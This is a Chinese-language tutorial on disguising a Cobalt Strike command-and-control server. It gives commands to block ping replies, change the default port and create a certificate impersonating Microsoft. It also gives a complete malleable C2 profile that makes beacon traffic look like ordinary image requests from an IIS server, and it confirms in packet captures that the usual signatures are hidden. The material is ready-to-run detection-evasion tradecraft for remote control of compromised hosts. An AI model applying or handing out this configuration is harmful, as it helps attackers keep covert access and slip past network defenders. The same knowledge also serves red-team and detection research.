Cobalt Strike隐藏特征与混淆流量
目录
服务器设置禁ping
修改Cobalt Strike默认端口号
修改默认证书
混淆流量
服务器设置禁ping
服务器禁ping从某种意义上来说,算是不存活的主机,但nmap是依然能够扫描出来的。
设置禁ping命令: vim /etc/sysctl.conf
打开后按i进入编辑模式,在任意位置新增以下内容
net.ipv4.icmp_echo_ignore_all=1
再使用命令 sysctl -p 即可生效
这时候再ping主机就会ping不通了
修改Cobalt Strike默认端口号
在服务端的teamserver文件末尾处修改
修改之后再次启动teamserver的时候即可看到端口已经更改
修改默认证书
Cobalt Strike 服务端和客户端是通过 SSL 加密通讯的,SSL配置文件和代理配置文件由于默认配置,导致 keystore 文件内容通常被用于防火墙识别。
Cobalt Strike 本地密钥文件:cobaltstrike.store
Cobalt Strike默认证书中含有与cs相关的特征,所以需要替换掉cs原有的证书,重新生成一个无特征的证书文件。
前提条件:服务器上已安装java
使用jdk自带的keytools这个java证书管理工具来生成新的无特征证书。
-
首先删除cobalt strike原有的证书
-
新建一个其他名字,只需要在teamserver最后一行修改 -Djavax.net.ssl.keyStore=./new.store 和密码即可
-
在Cobalt Strike当前目录生成一个无特征的证书
keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US" keytool -keystore new.store -storepass bypass -keypass bypass -genkey -keyalg RSA -alias apex.tk -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
到teamsever下修改文件名和密码
-
修改证书标准并应用
keytool -importkeystore -srckeystore new.store -destkeystore new.store -deststoretype pkcs12
至此证书修改完成,使用命令: keytool -list -v -keystore new.store 可查看证书内容
启动cs看是否更改了签名,是否是2435795A结尾
可以看到成功修改
混淆流量
先上线捕获流量
主要就是这俩个流量
追踪http流量
接下来修改Beacon与cobalt strike通信时候的流量特征,创建一个c2.profile文件(名字任意),
c2.profile文件内容:
https-certificate {set keystore "new.store"; #证书名字set password "bypass"; #证书密码
}
#以上没有配置cloudflare的时候可以先不写
http-get {set uri "/image/";client {header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";header "Referer" "http://www.google.com";#header "Host" "apex1.tk"; #域名,还没有配置cloudflare的时候这一行注释掉header "Pragma" "no-cache";header "Cache-Control" "no-cache";metadata {netbios;append ".jpg"; # 传输内容自动追加的后缀uri-append;}}
server {header "Content-Type" "img/jpg";header "Server" "Microsoft-IIS/6.0";header "X-Powered-By" "ASP.NET";output {base64; # 加密方式(base64、base64url、netbios、netbiosu)print;}}
}
http-post {set uri "/email/";client {header "Content-Type" "application/octet-stream";header "Referer" "http://www.google.com"; #header "Host" "apex1.tk"; #域名,还没有配置cloudflare的时候这一行注释掉header "Pragma" "no-cache";header "Cache-Control" "no-cache";id {netbiosu;append ".png";uri-append;}output {base64;print;}}server {header "Content-Type" "img/jpg";header "Server" "Microsoft-IIS/6.0";header "X-Powered-By" "ASP.NET";output {base64;print;}}
}
保存之后赋予服务端的c2lint执行权限:chmod 777 c2lint 然后输入:./c2lint c2.profile 输出如下图所示即为 c2.profile 配置成功
之后启动teamserve,使用新证书并且进行流量混淆
./teamserver 192.168.23.128 123456 c2.profile
生成exe上线并且使用https监听 使用wireshark抓取数据包,所有的通信流量都已经加密
使用wireshark抓取数据包,流量特征已经混淆,不在是请求http://192.168.32.131/xsaq文件、http://192.168.32.131/__utm.gif文件,而是请求我们在c2.profile中编写的URL、UA等信息